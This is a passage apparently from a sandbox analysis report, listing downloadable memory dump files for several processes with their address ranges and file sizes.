memory/2496-37-0x0000000007B70000-0x00000000081EA000-memory.dmp

Filesize
6.5MB

Download
memory/2496-38-0x00000000074F0000-0x000000000750A000-memory.dmp

Filesize
104KB

Download
memory/2496-39-0x0000000007550000-0x000000000755A000-memory.dmp

Filesize
40KB

Download
memory/2496-40-0x0000000007770000-0x0000000007806000-memory.dmp

Filesize
600KB

Download
memory/2496-41-0x00000000076D0000-0x00000000076E1000-memory.dmp

Filesize
68KB

Download
memory/2496-42-0x0000000007700000-0x000000000770E000-memory.dmp

Filesize
56KB

Download
memory/2496-43-0x0000000007710000-0x0000000007724000-memory.dmp

Filesize
80KB

Download
memory/2496-44-0x0000000007750000-0x000000000776A000-memory.dmp

Filesize
104KB

Download
memory/2496-45-0x0000000007740000-0x0000000007748000-memory.dmp

Filesize
32KB

Download
memory/2496-22-0x0000000070BA0000-0x0000000071350000-memory.dmp

Filesize
7.7MB

Download
memory/2496-4-0x0000000070BA0000-0x0000000071350000-memory.dmp

Filesize
7.7MB

Download
memory/2496-19-0x0000000006230000-0x000000000627C000-memory.dmp

Filesize
304KB

Download
memory/2496-18-0x00000000061A0000-0x00000000061BE000-memory.dmp

Filesize
120KB

Download
memory/2496-17-0x0000000005B40000-0x0000000005E94000-memory.dmp

Filesize
3.3MB

Download
memory/2496-58-0x0000000007740000-0x0000000007748000-memory.dmp

Filesize
32KB

Download
memory/2496-64-0x0000000070BAE000-0x0000000070BAF000-memory.dmp

Filesize
4KB

Download
memory/2496-65-0x0000000070BA0000-0x0000000071350000-memory.dmp

Filesize
7.7MB

Download
memory/2496-66-0x0000000070BA0000-0x0000000071350000-memory.dmp

Filesize
7.7MB

Download
memory/2496-0-0x0000000070BAE000-0x0000000070BAF000-memory.dmp

Filesize
4KB

Download
memory/2496-68-0x00000000087A0000-0x0000000008D44000-memory.dmp

Filesize
5.6MB

Download
memory/2496-7-0x0000000005910000-0x0000000005976000-memory.dmp

Filesize
408KB

Download
memory/2496-74-0x0000000070BA0000-0x0000000071350000-memory.dmp

Filesize
7.7MB

Download
memory/2496-6-0x00000000058A0000-0x0000000005906000-memory.dmp

Filesize
408KB

Download
memory/2496-1-0x0000000002BD0000-0x0000000002C06000-memory.dmp

Filesize
216KB

Download
memory/2496-5-0x00000000051B0000-0x00000000051D2000-memory.dmp

Filesize
136KB

Download
memory/2496-2-0x0000000005270000-0x0000000005898000-memory.dmp

Filesize
6.2MB

Download
memory/2496-21-0x000000006D460000-0x000000006D4AC000-memory.dmp

Filesize
304KB

Download
memory/2496-3-0x0000000070BA0000-0x0000000071350000-memory.dmp

Filesize
7.7MB

Download
memory/3392-88-0x00000000076C0000-0x000000000775C000-memory.dmp

Filesize
624KB

Download
memory/3392-85-0x0000000005E10000-0x0000000006164000-memory.dmp

Filesize
3.3MB

Download
memory/3392-87-0x0000000004F10000-0x0000000004F22000-memory.dmp

Filesize
72KB

Download
memory/3392-89-0x0000000004EF0000-0x0000000004EF6000-memory.dmp

Filesize
24KB

Download
memory/3560-102-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3560-103-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3560-105-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3972-122-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-121-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-98-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-90-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-97-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-96-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-128-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-127-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-95-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-94-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-93-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-115-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3972-118-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3972-119-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3972-120-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-91-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-125-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-123-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-124-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/3972-126-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4984-101-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4984-106-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4984-107-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download